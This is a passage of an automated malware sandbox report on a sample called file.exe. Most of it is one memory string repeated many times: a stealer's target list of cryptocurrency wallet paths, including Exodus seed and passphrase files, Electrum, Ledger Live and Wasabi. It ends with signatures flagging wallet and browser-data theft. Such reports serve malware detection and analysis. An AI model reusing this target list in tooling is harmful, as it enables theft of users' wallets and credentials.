Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
